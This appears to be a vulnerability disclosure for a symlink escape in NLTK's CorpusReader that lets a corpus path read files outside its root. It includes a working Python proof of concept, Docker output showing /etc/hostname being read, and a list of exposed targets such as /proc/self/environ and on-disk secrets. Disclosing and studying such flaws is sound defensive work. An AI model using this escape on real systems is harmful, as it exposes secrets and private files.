NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

PoC

Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

import os
import tempfile
from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")

with open(outside_file, "w") as f:
    f.write("secret-data")

os.symlink(outside_dir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
    print(f.read())

Observed result:

secret-data

Docker re-test output:

ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

Additional impact validation using a system file:

ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact

This is an arbitrary local file read / symlink escape issue.

Who is impacted:

• applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
• applications that rely on NLTK corpus readers as a trust boundary for file access
• any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

• application secrets stored on disk
• local configuration files
• private datasets
• process-exposed files such as /proc/self/environ
• system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.